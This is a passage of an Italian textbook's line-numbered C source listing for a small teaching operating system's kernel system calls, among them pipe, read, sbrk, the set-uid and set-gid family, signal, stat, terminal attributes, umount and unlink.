1640010     file_t          *file;
1640011     fd_t            *fd_read;
1640012     fd_t            *fd_write;
1640013     int              fdn_read;
1640014     int              fdn_write;
1640015     //
1640016     // Allocate the file inside the file table and the inode inside
1640017     // the inode table.
1640018     //
1640019     file = file_pipe_make ();
1640020     if (file == NULL)
1640021       {
1640022         errset (errno);
1640023         return (-1);
1640024       }
1640025     //
1640026     // Prepare file descriptor for read.
1640027     //
1640028     fdn_read = -1;
1640029     fd_read = fd_reference (pid, &fdn_read);
1640030     if (fd_read == NULL)
1640031       {
1640032         //
1640033         // Cannot allocate the file descriptor: remove the item from
```

```
1640034         // file table and put the relative inode.
1640035         //
1640036         file->references = 0;
1640037         file->oflags = 0;
1640038         inode_put (file->inode);
1640039         file->inode = NULL;
1640040         //
1640041         // Return an error.
1640042         //
1640043         errset (EMFILE);           // Too many open files.
1640044         return (-1);
1640045       }
1640046     //
1640047     // File descriptor allocated: put some data inside the
1640048     // file descriptor item and increment the pipe references
1640049     // for read.
1640050     //
1640051     fd_read->fl_flags = O_RDONLY;
1640052     fd_read->fd_flags = 0;
1640053     fd_read->file = file;
1640054     fd_read->file->offset = 0;
1640055     fd_read->file->inode->pipe_ref_read++;
1640056     //
1640057     // Prepare file descriptor for write.
1640058     //
1640059     fdn_write = -1;
1640060     fd_write = fd_reference (pid, &fdn_write);
1640061     if (fd_write == NULL)
1640062       {
1640063         //
1640064         // Cannot allocate the file descriptor: remove the item from
1640065         // file table and put the relative inode.
1640066         //
1640067         file->references = 0;
1640068         file->oflags = 0;
1640069         inode_put (file->inode);
1640070         file->inode = NULL;
1640071         //
1640072         // Remove file descriptor for read.
1640073         //
1640074         fd_read->file->inode->pipe_ref_read--;
1640075         fd_read->fl_flags = 0;
1640076         fd_read->fd_flags = 0;
1640077         fd_read->file = NULL;
1640078         //
1640079         // Return an error.
1640080         //
1640081         errset (EMFILE);           // Too many open files.
1640082         return (-1);
1640083       }
1640084     //
1640085     // File descriptor allocated: put some data inside the
```

```
1640086     // file descriptor item.
1640087     //
1640088     fd_write->fl_flags = O_WRONLY;
1640089     fd_write->fd_flags = 0;
1640090     fd_write->file = file;
1640091     fd_write->file->offset = 0;
1640092     fd_write->file->inode->pipe_ref_write++;
1640093     //
1640094     // Save file descriptor numbers inside the ‘pipefd[]’ array.
1640095     //
1640096     pipefd[0] = fdn_read;
1640097     pipefd[1] = fdn_write;
1640098     //
1640099     // Ok.
1640100     //
1640101     return (0);
1640102   }
```

119.8.24 kernel/lib_s/s_read.c

Si veda la sezione 112.34.

```
1650001   #include <kernel/proc.h>
1650002   #include <kernel/lib_s.h>
1650003   #include <errno.h>
1650004   #include <fcntl.h>
1650005   //----------------------------------------------------------------------
1650006   #define DEBUG 0
1650007   //----------------------------------------------------------------------
1650008   ssize_t
1650009   s_read (pid_t pid, int fdn, void *buffer, size_t count, int *eof)
1650010   {
1650011     fd_t           *fd;
1650012     ssize_t         size_read;
1650013     //
1650014     // Get file descriptor.
1650015     //
1650016     fd = fd_reference (pid, &fdn);
1650017     if (fd == NULL || fd->file == NULL || fd->file->inode == NULL)
1650018       {
1650019         errset (EBADF);           // Bad file descriptor.
1650020         return ((ssize_t) - 1);
1650021       }
1650022     //
1650023     // Check if it is opened for read.
1650024     //
1650025     if (!(fd->file->oflags & O_RDONLY))
1650026       {
1650027         //
1650028         // The file is not opened for read.
1650029         //
```

```
1650030         errset (EINVAL);           // Invalid argument.
1650031         return ((ssize_t) - 1);
1650032       }
1650033     //
1650034     // Check the kind of file to be read and read it.
1650035     //
1650036     if (S_ISBLK (fd->file->inode->mode)
1650037         || S_ISCHR (fd->file->inode->mode))
1650038       {
1650039         //
1650040         // A device is to be read.
1650041         //
1650042         size_read = dev_io (pid, (dev_t) fd->file->inode->direct[0],
1650043                             DEV_READ, fd->file->offset, buffer, count,
1650044                             eof);
1650045       }
1650046     else if (S_ISREG (fd->file->inode->mode))
1650047       {
1650048         //
1650049         // A regular file is to be read.
1650050         //
1650051         size_read = inode_file_read (fd->file->inode, fd->file->offset,
1650052                                      buffer, count, eof);
1650053       }
1650054     else if (S_ISDIR (fd->file->inode->mode))
1650055       {
1650056         //
1650057         // A directory, is to be read.
1650058         //
1650059         size_read = inode_file_read (fd->file->inode, fd->file->offset,
1650060                                      buffer, count, eof);
1650061       }
1650062     else if (S_ISFIFO (fd->file->inode->mode))
1650063       {
1650064         //
1650065         // A pipe, is to be read.
1650066         //
1650067         size_read = inode_pipe_read (fd->file->inode, buffer, count, eof);
1650068         //
1650069         if (size_read == 0)
1650070           {
1650071             //
1650072             // Check what to do.
1650073             //
1650074             if (fd->file->inode->pipe_ref_write == 0)
1650075               {
1650076                 //
1650077                 // EOF, if it is a valid pointer, is already
1650078                 // set by 'inode_pipe_read()', if is time to
1650079                 // set it.
1650080                 //
1650081                 // Wake up processes waiting to write.
```

```
1650082                  //
1650083                  proc_wakeup_pipe_write (fd->file->inode);
1650084                  //
1650085                  return (size_read);
1650086                }
1650087              else
1650088                {
1650089                  //
1650090                  // Go to sleep.
1650091                  //
1650092                  proc_table[pid].status = PROC_SLEEPING;
1650093                  proc_table[pid].ret = 0;
1650094                  proc_table[pid].wakeup_inode = fd->file->inode;
1650095                  proc_table[pid].wakeup_events = WAKEUP_EVENT_PIPE_READ;
1650096                  if (DEBUG)
1650097                    {
1650098                      k_printf ("[%s] PID %i goes to sleep "
1650099                                "waiting to read inside a pipe.\n",
1650100                                __FILE__, pid);
1650101                    }
1650102                }
1650103            }
1650104          else
1650105            {
1650106              //
1650107              // Wake up processes waiting to write.
1650108              //
1650109              proc_wakeup_pipe_write (fd->file->inode);
1650110            }
1650111        }
1650112      else
1650113        {
1650114          //
1650115          // Unsupported file type.
1650116          //
1650117          errset (E_FILE_TYPE_UNSUPPORTED); //File type unsupported.
1650118          return ((ssize_t) - 1);
1650119        }
1650120      //
1650121      // Update the file descriptor internal offset.
1650122      //
1650123      if (size_read > 0)
1650124        {
1650125          fd->file->offset += size_read;
1650126        }
1650127      //
1650128      // Just return the size read, even if it is an error. Please note
1650129      // that a size of zero might tell that it is the end of file, or
1650130      // just that the read should be retried.
1650131      //
1650132      return (size_read);
```

```
1650133 }
```

119.8.25 kernel/lib_s/s_sbrk.c

Si veda la sezione 112.3.

```
1660001 #include <errno.h>
1660002 #include <kernel/proc.h>
1660003 #include <kernel/lib_k.h>
1660004 #include <kernel/lib_s.h>
1660005 //----------------------------------------------------------------------
1660006 void            *
1660007 s_sbrk (pid_t pid, intptr_t increment)
1660008 {
1660009   size_t          previous_size;
1660010   size_t          new_size;
1660011   int             status;
1660012   //
1660013   // Get current data segment full size.
1660014   //
1660015   if (proc_table[pid].domain_data == 0)
1660016     {
1660017       previous_size = (proc_table[pid].domain_text
1660018                        + proc_table[pid].extra_data);
1660019     }
1660020   else
1660021     {
1660022       previous_size = (proc_table[pid].domain_data
1660023                        + proc_table[pid].extra_data);
1660024     }
1660025   //
1660026   // Check increment.
1660027   //
1660028   if ((increment + proc_table[pid].extra_data) < 0)
1660029     {
1660030       //
1660031       // Cannot reduce too much. Just correct it.
1660032       //
1660033       increment = -proc_table[pid].extra_data;
1660034     }
1660035   //
1660036   // Calculate the new size.
1660037   //
1660038   new_size = previous_size + increment;
1660039   //
1660040   // Call 's_brk()' to do the work. The new size value is the
1660041   // same of the new requested pointer address.
1660042   //
1660043   status = s_brk (pid, (void *) new_size);
1660044   //
1660045   if (status < 0)
```

```
1660046       {
1660047         errset (errno);
1660048         return ((void *) -1);
1660049       }
1660050     //
1660051     // Ok: return previous final address.
1660052     //
1660053     return ((void *) previous_size);
1660054 }
```

119.8.26 kernel/lib_s/s_setegid.c

Si veda la sezione 112.39.

```
1670001 #include <kernel/proc.h>
1670002 #include <kernel/lib_s.h>
1670003 #include <errno.h>
1670004 //----------------------------------------------------------------------
1670005 int
1670006 s_setegid (pid_t pid, gid_t egid)
1670007 {
1670008   if ((proc_table[pid].euid == 0) || (proc_table[pid].egid == 0))
1670009     {
1670010       proc_table[pid].egid = egid;
1670011       return (0);
1670012     }
1670013   else if (egid == proc_table[pid].egid)
1670014     {
1670015       return (0);
1670016     }
1670017   else if (egid == proc_table[pid].gid || egid == proc_table[pid].sgid)
1670018     {
1670019       proc_table[pid].egid = egid;
1670020       return (0);
1670021     }
1670022   else
1670023     {
1670024       errset (EPERM);
1670025       return (-1);
1670026     }
1670027 }
```

119.8.27 kernel/lib_s/s_seteuid.c

Si veda la sezione 112.42.

```
1680001 #include <kernel/proc.h>
1680002 #include <kernel/lib_s.h>
1680003 #include <errno.h>
1680004 //----------------------------------------------------------------------
1680005 int
1680006 s_seteuid (pid_t pid, uid_t euid)
1680007 {
1680008   if (proc_table[pid].euid == 0)
1680009     {
1680010       proc_table[pid].euid = euid;
1680011       return (0);
1680012     }
1680013   else if (euid == proc_table[pid].euid)
1680014     {
1680015       return (0);
1680016     }
1680017   else if (euid == proc_table[pid].uid || euid == proc_table[pid].suid)
1680018     {
1680019       proc_table[pid].euid = euid;
1680020       return (0);
1680021     }
1680022   else
1680023     {
1680024       errset (EPERM);
1680025       return (-1);
1680026     }
1680027 }
```

119.8.28 kernel/lib_s/s_setgid.c

Si veda la sezione 112.39.

```
1690001 #include <kernel/proc.h>
1690002 #include <kernel/lib_s.h>
1690003 #include <errno.h>
1690004 //----------------------------------------------------------------------
1690005 int
1690006 s_setgid (pid_t pid, gid_t gid)
1690007 {
1690008   if ((proc_table[pid].euid == 0) || (proc_table[pid].egid == 0))
1690009     {
1690010       proc_table[pid].gid = gid;
1690011       proc_table[pid].egid = gid;
1690012       proc_table[pid].sgid = gid;
1690013       return (0);
1690014     }
1690015   else if (gid == proc_table[pid].egid)
```

```
1690016         {
1690017           return (0);
1690018         }
1690019       else if (gid == proc_table[pid].gid || gid == proc_table[pid].sgid)
1690020         {
1690021           proc_table[pid].egid = gid;
1690022           return (0);
1690023         }
1690024       else
1690025         {
1690026           errset (EPERM);
1690027           return (-1);
1690028         }
1690029     }
```

119.8.29 kernel/lib_s/s_setjmp.c

Si veda la sezione 112.40.

```
1700001 #include <kernel/lib_s.h>
1700002 #include <kernel/proc.h>
1700003 #include <errno.h>
1700004 #include <setjmp.h>
1700005 //----------------------------------------------------------------------
1700006 extern uint32_t proc_stack_pointer;
1700007 //----------------------------------------------------------------------
1700008 int
1700009 s_setjmp (pid_t pid, jmp_buf env)
1700010 {
1700011     jmp_stack_t  *sp;
1700012     jmp_env_t    *jmpenv;
1700013     //
1700014     // Find where is the process stack in memory, from the kernel point
1700015     // of view. Please notice that the current stack at
1700016     // 'proc_stack_pointer' will be saved from the scheduler inside
1700017     // the process table, and current stack saved inside the process
1700018     // table is not up to date.
1700019     //
1700020     sp = proc_offset_data_to_pointer (pid, proc_stack_pointer);
1700021     //
1700022     // Translate the pointer 'env', to the kernel point of view.
1700023     //
1700024     jmpenv = proc_offset_data_to_pointer (pid, (addr_t) env);
1700025     //
1700026     // Save the process stack.
1700027     //
1700028     jmpenv->eax0    = sp->eax0;
1700029     jmpenv->ecx0    = sp->ecx0;
1700030     jmpenv->edx0    = sp->edx0;
1700031     jmpenv->ebx0    = sp->ebx0;
1700032     jmpenv->ebp0    = sp->ebp0;
```

```
1700033     jmpenv->esi0    = sp->esi0;
1700034     jmpenv->edi0    = sp->edi0;
1700035     jmpenv->ds0     = sp->ds0;
1700036     jmpenv->es0     = sp->es0;
1700037     jmpenv->fs0     = sp->fs0;
1700038     jmpenv->gs0     = sp->gs0;
1700039     jmpenv->eflags0 = sp->eflags0;
1700040     jmpenv->cs0     = sp->cs0;
1700041     jmpenv->eip0    = sp->eip0;
1700042     //
1700043     jmpenv->eip1          = sp->eip1;
1700044     jmpenv->syscallnr     = sp->syscallnr;
1700045     jmpenv->msg_pointer   = sp->msg_pointer;
1700046     jmpenv->msg_size      = sp->msg_size;
1700047     jmpenv->env           = sp->env;
1700048     jmpenv->ret           = sp->ret;
1700049     jmpenv->ebp1          = sp->ebp1;
1700050     jmpenv->eip2          = sp->eip2;
1700051     //
1700052     // Save also the stack pointer!
1700053     //
1700054     jmpenv->esp0    = proc_stack_pointer;
1700055     //
1700056     return 0;
1700057   }
```

119.8.30 kernel/lib_s/s_setuid.c

Si veda la sezione 112.42.

```
1710001   #include <kernel/proc.h>
1710002   #include <kernel/lib_s.h>
1710003   #include <errno.h>
1710004   //----------------------------------------------------------------------
1710005   int
1710006   s_setuid (pid_t pid, uid_t uid)
1710007   {
1710008     if (proc_table[pid].euid == 0)
1710009       {
1710010         proc_table[pid].uid = uid;
1710011         proc_table[pid].euid = uid;
1710012         proc_table[pid].suid = uid;
1710013         return (0);
1710014       }
1710015     else if (uid == proc_table[pid].euid)
1710016       {
1710017         return (0);
1710018       }
1710019     else if (uid == proc_table[pid].uid || uid == proc_table[pid].suid)
1710020       {
1710021         proc_table[pid].euid = uid;
```

```
1710022         return (0);
1710023       }
1710024     else
1710025       {
1710026         errset (EPERM);
1710027         return (-1);
1710028       }
1710029   }
```

119.8.31 kernel/lib_s/s_signal.c

«

Si veda la sezione 112.43.

```
1720001 #include <kernel/lib_s.h>
1720002 #include <kernel/proc.h>
1720003 #include <errno.h>
1720004 //----------------------------------------------------------------------
1720005 sighandler_t
1720006 s_signal (pid_t pid, int sig, sighandler_t handler, uintptr_t wrapper)
1720007 {
1720008   unsigned long int flag = 1L << (sig - 1);
1720009   sighandler_t    previous;
1720010   //
1720011   if (sig <= 0)
1720012     {
1720013       errset (EINVAL);
1720014       return (SIG_ERR);
1720015     }
1720016   //
1720017   if (proc_table[pid].sig_ignore & flag)
1720018     {
1720019       previous = SIG_IGN;
1720020     }
1720021   else if (proc_table[pid].sig_handler[sig] != (uintptr_t) NULL)
1720022     {
1720023       previous = (sighandler_t) proc_table[pid].sig_handler[sig];
1720024     }
1720025   else
1720026     {
1720027       previous = SIG_DFL;
1720028     }
1720029   //
1720030   if (handler == SIG_DFL)
1720031     {
1720032       //
1720033       // Enable signal.
1720034       //
1720035       proc_table[pid].sig_ignore &= ~flag;
1720036       //
1720037       return (previous);
1720038     }
```

```
1720039     else if (handler == SIG_IGN)
1720040       {
1720041         //
1720042         // Disable signal.
1720043         //
1720044         proc_table[pid].sig_ignore |= flag;
1720045         //
1720046         return (previous);
1720047       }
1720048     else
1720049       {
1720050         //
1720051         // Enable signal, store the handler address and the
1720052         // handler-wrapper.
1720053         //
1720054         proc_table[pid].sig_ignore &= ~flag;
1720055         proc_table[pid].sig_handler[sig] = (uintptr_t) handler;
1720056         proc_table[pid].sig_handler_wrapper = wrapper;
1720057         //
1720058         return (previous);
1720059       }
1720060 }
```

119.8.32 kernel/lib_s/s_stat.c

Si veda la sezione 112.45.

```
1730001 #include <kernel/fs.h>
1730002 #include <errno.h>
1730003 #include <kernel/proc.h>
1730004 #include <kernel/lib_s.h>
1730005 //----------------------------------------------------------------------
1730006 int
1730007 s_stat (pid_t pid, const char *path, struct stat *buffer)
1730008 {
1730009     proc_t          *ps;
1730010     inode_t         *inode;
1730011     //
1730012     // Get process.
1730013     //
1730014     ps = proc_reference (pid);
1730015     //
1730016     // Try to load the file inode.
1730017     //
1730018     inode = path_inode (pid, path);
1730019     if (inode == NULL)
1730020       {
1730021         //
1730022         // Cannot access the file: it does not exists or permissions are
1730023         // not sufficient. Variable 'errno' is set by function
1730024         // 'path_inode()'.
```

```
1730025          //
1730026          errset (errno);
1730027          return (-1);
1730028        }
1730029      //
1730030      // Inode loaded: update the buffer.
1730031      //
1730032      buffer->st_dev = inode->sb->device;
1730033      buffer->st_ino = inode->ino;
1730034      buffer->st_mode = inode->mode;
1730035      buffer->st_nlink = inode->links;
1730036      buffer->st_uid = inode->uid;
1730037      buffer->st_gid = inode->gid;
1730038      if (S_ISBLK (buffer->st_mode) || S_ISCHR (buffer->st_mode))
1730039        {
1730040          buffer->st_rdev = inode->direct[0];
1730041        }
1730042      else
1730043        {
1730044          buffer->st_rdev = 0;
1730045        }
1730046      buffer->st_size = inode->size;
1730047      buffer->st_atime = inode->time;       // All times are the same for
1730048      buffer->st_mtime = inode->time;       // Minix 1 file system.
1730049      buffer->st_ctime = inode->time;       //
1730050      buffer->st_blksize = inode->sb->blksize;
1730051      buffer->st_blocks = inode->blkcnt;
1730052      //
1730053      // If the inode is a device special file, the 'st_rdev' value is
1730054      // taken from the first direct zone (as of Minix 1 organization).
1730055      //
1730056      if (S_ISBLK (inode->mode) || S_ISCHR (inode->mode))
1730057        {
1730058          buffer->st_rdev = inode->direct[0];
1730059        }
1730060      else
1730061        {
1730062          buffer->st_rdev = 0;
1730063        }
1730064      //
1730065      // Release the inode and return.
1730066      //
1730067      inode_put (inode);
1730068      //
1730069      // Return.
1730070      //
1730071      return (0);
1730072  }
```

119.8.33 kernel/lib_s/s_stime.c

Si veda la sezione 112.49.

```
1740001 #include <kernel/lib_s.h>
1740002 #include <kernel/proc.h>
1740003 #include <stddef.h>
1740004 #include <errno.h>
1740005 //----------------------------------------------------------------------
1740006 extern clock_t  _clock_time;    // uint64_t
1740007 //----------------------------------------------------------------------
1740008 int
1740009 s_stime (pid_t pid, time_t * timer)
1740010 {
1740011   if (proc_table[pid].euid != 0)
1740012     {
1740013       errset (EPERM);
1740014       return (-1);
1740015     }
1740016   //
1740017   _clock_time = *timer * CLOCKS_PER_SEC;
1740018   return (0);
1740019 }
```

119.8.34 kernel/lib_s/s_tcgetattr.c

Si veda la sezione 112.48.

```
1750001 #include <kernel/fs.h>
1750002 #include <errno.h>
1750003 #include <kernel/proc.h>
1750004 #include <kernel/lib_s.h>
1750005 #include <termios.h>
1750006 #include <sys/types.h>
1750007 //----------------------------------------------------------------------
1750008 int
1750009 s_tcgetattr (pid_t pid, int fdn, struct termios *termios_p)
1750010 {
1750011   file_t         *file;
1750012   inode_t        *inode;
1750013   dev_t           device;
1750014   int             t;            // 'tty_table[]' subscript.
1750015   int             c;            // 'c_cc[]' subscript.
1750016   //
1750017   file = proc_table[pid].fd[fdn].file;
1750018   //
1750019   if (file == NULL)
1750020     {
1750021       errset (EBADF);
1750022       return (-1);
1750023     }
```

```
1750024     //
1750025     inode = proc_table[pid].fd[fdn].file->inode;
1750026     //
1750027     if (inode == NULL)
1750028       {
1750029         errset (EBADF);
1750030         return (-1);
1750031       }
1750032     //
1750033     if (!S_ISCHR (inode->mode))
1750034       {
1750035         errset (ENOTTY);
1750036         return (-1);
1750037       }
1750038     //
1750039     device = inode->direct[0];
1750040     //
1750041     if (major (device) != DEV_CONSOLE_MAJOR)
1750042       {
1750043         errset (ENOTTY);
1750044         return (-1);
1750045       }
1750046     //
1750047     t = minor (device);
1750048     if (t >= TTYS_TOTAL)
1750049       {
1750050         errset (ENOTTY);
1750051         return (-1);
1750052       }
1750053     //
1750054     // Ok: copy data.
1750055     //
1750056     termios_p->c_iflag = tty_table[t].attr.c_iflag;
1750057     termios_p->c_oflag = tty_table[t].attr.c_oflag;
1750058     termios_p->c_cflag = tty_table[t].attr.c_cflag;
1750059     termios_p->c_lflag = tty_table[t].attr.c_lflag;
1750060     for (c = 0; c < NCCS; c++)
1750061       {
1750062         termios_p->c_cc[c] = tty_table[t].attr.c_cc[c];
1750063       }
1750064     //
1750065     // Ok.
1750066     //
1750067     return (0);
1750068 }
```

119.8.35 kernel/lib_s/s_tcsetattr.c

Si veda la sezione 112.48.

```
1760001 #include <kernel/fs.h>
1760002 #include <errno.h>
1760003 #include <kernel/proc.h>
1760004 #include <kernel/lib_s.h>
1760005 #include <termios.h>
1760006 #include <sys/types.h>
1760007 //----------------------------------------------------------------------
1760008 // The following are masks of the implemented attributes.
1760009 //
1760010 #define MASK_C_IFLAG (BRKINT|ICRNL|IGNBRK|IGNCR)
1760011 #define MASK_C_OFLAG 0
1760012 #define MASK_C_CFLAG 0
1760013 #define MASK_C_LFLAG (ECHO|ECHOE|ECHOK|ECHONL|ICANON|ISIG)
1760014 //----------------------------------------------------------------------
1760015 int
1760016 s_tcsetattr (pid_t pid, int fdn, int action, struct termios *termios_p)
1760017 {
1760018   file_t         *file;
1760019   inode_t        *inode;
1760020   dev_t           device;
1760021   int             t;            // 'tty_table[]' subscript.
1760022   int             c;            // 'c_cc[]' subscript.
1760023   //
1760024   file = proc_table[pid].fd[fdn].file;
1760025   //
1760026   if (file == NULL)
1760027     {
1760028       errset (EBADF);
1760029       return (-1);
1760030     }
1760031   //
1760032   inode = proc_table[pid].fd[fdn].file->inode;
1760033   //
1760034   if (inode == NULL)
1760035     {
1760036       errset (EBADF);
1760037       return (-1);
1760038     }
1760039   //
1760040   if (!S_ISCHR (inode->mode))
1760041     {
1760042       errset (ENOTTY);
1760043       return (-1);
1760044     }
1760045   //
1760046   device = inode->direct[0];
1760047   //
1760048   if (major (device) != DEV_CONSOLE_MAJOR)
1760049     {
```

```
1760050         errset (ENOTTY);
1760051         return (-1);
1760052       }
1760053     //
1760054     t = minor (device);
1760055     if (t >= TTYS_TOTAL)
1760056       {
1760057         errset (ENOTTY);
1760058         return (-1);
1760059       }
1760060     //
1760061     // The parameter 'actions' is silently ignored: only immediate
1760062     // update will take place.
1760063     //
1760064     // The function will not notice if at least a successful attribute
1760065     // change is done, so, after this point, the return value is
1760066     // always zero.
1760067     //
1760068     tty_table[t].attr.c_iflag = (termios_p->c_iflag & MASK_C_IFLAG);
1760069     tty_table[t].attr.c_oflag = (termios_p->c_oflag & MASK_C_OFLAG);
1760070     tty_table[t].attr.c_cflag = (termios_p->c_cflag & MASK_C_CFLAG);
1760071     tty_table[t].attr.c_lflag = (termios_p->c_lflag & MASK_C_LFLAG);
1760072     for (c = 0; c < NCCS; c++)
1760073       {
1760074         //
1760075         // Should be done some check here?
1760076         //
1760077         tty_table[t].attr.c_cc[c] = termios_p->c_cc[c];
1760078       }
1760079     //
1760080     // Ok.
1760081     //
1760082     return (0);
1760083 }
```

119.8.36 kernel/lib_s/s_time.c

Si veda la sezione 112.49.

```
1770001 #include <kernel/lib_k.h>
1770002 #include <kernel/lib_s.h>
1770003 #include <stddef.h>
1770004 //----------------------------------------------------------------------
1770005 extern clock_t  _clock_time;    // uint64_t
1770006 //----------------------------------------------------------------------
1770007 time_t
1770008 s_time (pid_t pid, time_t * timer)
1770009 {
1770010   time_t          time = _clock_time / CLOCKS_PER_SEC;
1770011   if (timer != NULL)
1770012     {
```

```
1770013         *timer = time;
1770014       }
1770015     return (time);
1770016   }
```

119.8.37 kernel/lib_s/s_umount.c

Si veda la sezione 112.31.

```
1780001   #include <kernel/fs.h>
1780002   #include <errno.h>
1780003   #include <kernel/proc.h>
1780004   #include <kernel/lib_s.h>
1780005   //----------------------------------------------------------------------
1780006   int
1780007   s_umount (pid_t pid, const char *path_mnt)
1780008   {
1780009     proc_t         *ps;
1780010     dev_t           device;        // Device to mount.
1780011     inode_t        *inode_mount_point;    // Original mount point.
1780012     inode_t        *inode;         // Inode table.
1780013     int             i;             // Inode table index.
1780014     //
1780015     // Get process.
1780016     //
1780017     ps = proc_reference (pid);
1780018     //
1780019     // Verify to be the super user.
1780020     //
1780021     if (ps->euid != 0)
1780022       {
1780023         errset (EPERM);            // Operation not permitted.
1780024         return (-1);
1780025       }
1780026     //
1780027     // Get the directory mount point.
1780028     //
1780029     inode_mount_point = path_inode (pid, path_mnt);
1780030     if (inode_mount_point == NULL)
1780031       {
1780032         errset (ENOENT);           // No such file or directory.
1780033         return (-1);
1780034       }
1780035     //
1780036     // Verify that the path is a directory.
1780037     //
1780038     if (!S_ISDIR (inode_mount_point->mode))
1780039       {
1780040         inode_put (inode_mount_point);
1780041         errset (ENOTDIR);          // Not a directory.
1780042         return (-1);
```

```
1780043       }
1780044     //
1780045     // Verify that there is something attached.
1780046     //
1780047     device = inode_mount_point->sb_attached->device;
1780048     if (device == 0)
1780049       {
1780050         //
1780051         // There is nothing to unmount.
1780052         //
1780053         inode_put (inode_mount_point);
1780054         errset (E_NOT_MOUNTED);   // Not mounted.
1780055         return (-1);
1780056       }
1780057     //
1780058     // Are there exactly two internal references? Let's explain:
1780059     // the directory that act as mount point, should have one reference
1780060     // because it is mounting something and another because it was just
1780061     // opened again, a few lines above. If there are more references
1780062     // it is wrong; if there are less, it is also wrong at this point.
1780063     //
1780064     if (inode_mount_point->references != 2)
1780065       {
1780066         inode_put (inode_mount_point);
1780067         errset (EUNKNOWN);        // Unknown error.
1780068         return (-1);
1780069       }
1780070     //
1780071     // All data is available: find if there are open file inside
1780072     // the file system to unmount. But first load the inode table
1780073     // pointer.
1780074     //
1780075     inode = inode_reference ((dev_t) 0, (ino_t) 0);
1780076     if (inode == NULL)
1780077       {
1780078         //
1780079         // This error should not happen.
1780080         //
1780081         inode_put (inode_mount_point);
1780082         errset (EUNKNOWN);        // Unknown error.
1780083         return (-1);
1780084       }
1780085     //
1780086     // Scan the inode table.
1780087     //
1780088     for (i = 0; i < INODE_MAX_SLOTS; i++)
1780089       {
1780090         if ((inode[i].sb == inode_mount_point->sb_attached)
1780091             && (inode[i].references > 0))
1780092           {
1780093             //
1780094             // At least one file is open inside the super block to
```

```
1780095                 // release: cannot unmount.
1780096                 //
1780097                 inode_put (inode_mount_point);
1780098                 errset (EBUSY);        // Device or resource busy.
1780099                 return (-1);
1780100               }
1780101           }
1780102         //
1780103         // Can unmount: save and remove the super block memory;
1780104         // clear the mount point reference and put inode.
1780105         //
1780106         inode_mount_point->sb_attached->changed = 1;
1780107         sb_save (inode_mount_point->sb_attached);
1780108         //
1780109         inode_mount_point->sb_attached->device = 0;
1780110         inode_mount_point->sb_attached->inode_mounted_on = NULL;
1780111         inode_mount_point->sb_attached->blksize = 0;
1780112         inode_mount_point->sb_attached->options = 0;
1780113         //
1780114         inode_mount_point->sb_attached = NULL;
1780115         inode_mount_point->references = 0;
1780116         inode_put (inode_mount_point);
1780117         //
1780118         inode_put (inode_mount_point);
1780119         //
1780120         return (0);
1780121     }
```

119.8.38 kernel/lib_s/s_unlink.c

Si veda la sezione 112.52.

```
1790001 #include <kernel/fs.h>
1790002 #include <errno.h>
1790003 #include <kernel/proc.h>
1790004 #include <libgen.h>
1790005 #include <kernel/lib_s.h>
1790006 #include <kernel/lib_k.h>
1790007 //----------------------------------------------------------------------
1790008 int
1790009 s_unlink (pid_t pid, const char *path)
1790010 {
1790011     proc_t          *ps;
1790012     inode_t         *inode_unlink;
1790013     inode_t         *inode_directory;
1790014     char             path_unlink[PATH_MAX];
1790015     char             path_copy[PATH_MAX];
1790016     char            *path_directory;
1790017     char            *name_unlink;
1790018     dev_t            device;
1790019     off_t            start;
```

```
1790020     char            buffer[SB_MAX_ZONE_SIZE];
1790021     directory_t    *dir = (directory_t *) buffer;
1790022     int             status;
1790023     ssize_t         size_read;
1790024     ssize_t         size_written;
1790025     int             d;            // Directory buffer index.
1790026     //
1790027     // Get process.
1790028     //
1790029     ps = proc_reference (pid);
1790030     //
1790031     // Get full paths.
1790032     //
1790033     path_full (path, ps->path_cwd, path_unlink);
1790034     strncpy (path_copy, path_unlink, PATH_MAX);
1790035     path_directory = dirname (path_copy);
1790036     //
1790037     // Get the inode to be unlinked.
1790038     //
1790039     inode_unlink = path_inode (pid, path_unlink);
1790040     if (inode_unlink == NULL)
1790041       {
1790042         return (-1);
1790043       }
1790044     //
1790045     // If it is a directory, verify that it is empty.
1790046     //
1790047     if (S_ISDIR (inode_unlink->mode))
1790048       {
1790049         if (!inode_dir_empty (inode_unlink))
1790050           {
1790051             inode_put (inode_unlink);
1790052             errset (ENOTEMPTY);   // Directory not empty.
1790053             return (-1);
1790054           }
1790055       }
1790056     //
1790057     // Get the inode of the directory containing it.
1790058     //
1790059     inode_directory = path_inode (pid, path_directory);
1790060     if (inode_directory == NULL)
1790061       {
1790062         inode_put (inode_unlink);
1790063         return (-1);
1790064       }
1790065     //
1790066     // Check if something is mounted on the directory.
1790067     //
1790068     if (inode_directory->sb_attached != NULL)
1790069       {
1790070         //
1790071         // Must select the right directory.
```

```
1790072         //
1790073         device = inode_directory->sb_attached->device;
1790074         inode_put (inode_directory);
1790075         inode_directory = inode_get (device, 1);
1790076         if (inode_directory == NULL)
1790077           {
1790078             inode_put (inode_unlink);
1790079             return (-1);
1790080           }
1790081       }
1790082     //
1790083     // Check if write is allowed for the file system.
1790084     //
1790085     if (inode_directory->sb->options & MOUNT_RO)
1790086       {
1790087         errset (EROFS);           // Read-only file system.
1790088         return (-1);
1790089       }
1790090     //
1790091     // Verify access permissions for the directory. The number "3" means
1790092     // that the user must have access permission and write permission:
1790093     // "-wx" == 2+1 == 3.
1790094     //
1790095     status = inode_check (inode_directory, S_IFDIR, 3,
1790096                           ps->euid, ps->egid);
1790097     if (status != 0)
1790098       {
1790099         errset (EPERM);           // Operation not permitted.
1790100         inode_put (inode_unlink);
1790101         inode_put (inode_directory);
1790102         return (-1);
1790103       }
1790104     //
1790105     // Get the base name to be unlinked: this will alter the
1790106     // original path.
1790107     //
1790108     name_unlink = basename (path_unlink);
1790109     //
1790110     // Read the directory content and try to locate the item to unlink.
1790111     //
1790112     for (start = 0;
1790113          start < inode_directory->size;
1790114          start += inode_directory->sb->blksize)
1790115       {
1790116         size_read = inode_file_read (inode_directory, start, buffer,
1790117                                      inode_directory->sb->blksize, NULL);
1790118         if (size_read < sizeof (directory_t))
1790119           {
1790120             break;
1790121           }
1790122         //
1790123         // Scan the directory portion just read, for the item to unlink.
```

```
1790124         //
1790125         dir = (directory_t *) buffer;
1790126         //
1790127         for (d = 0; d < size_read; d += (sizeof (directory_t)), dir++)
1790128           {
1790129             if ((dir->ino != 0)
1790130                 && (strncmp (dir->name, name_unlink, NAME_MAX) == 0))
1790131               {
1790132                 //
1790133                 // Found the corresponding item: unlink the inode.
1790134                 //
1790135                 dir->ino = 0;
1790136                 //
1790137                 // Update the directory inside the file system.
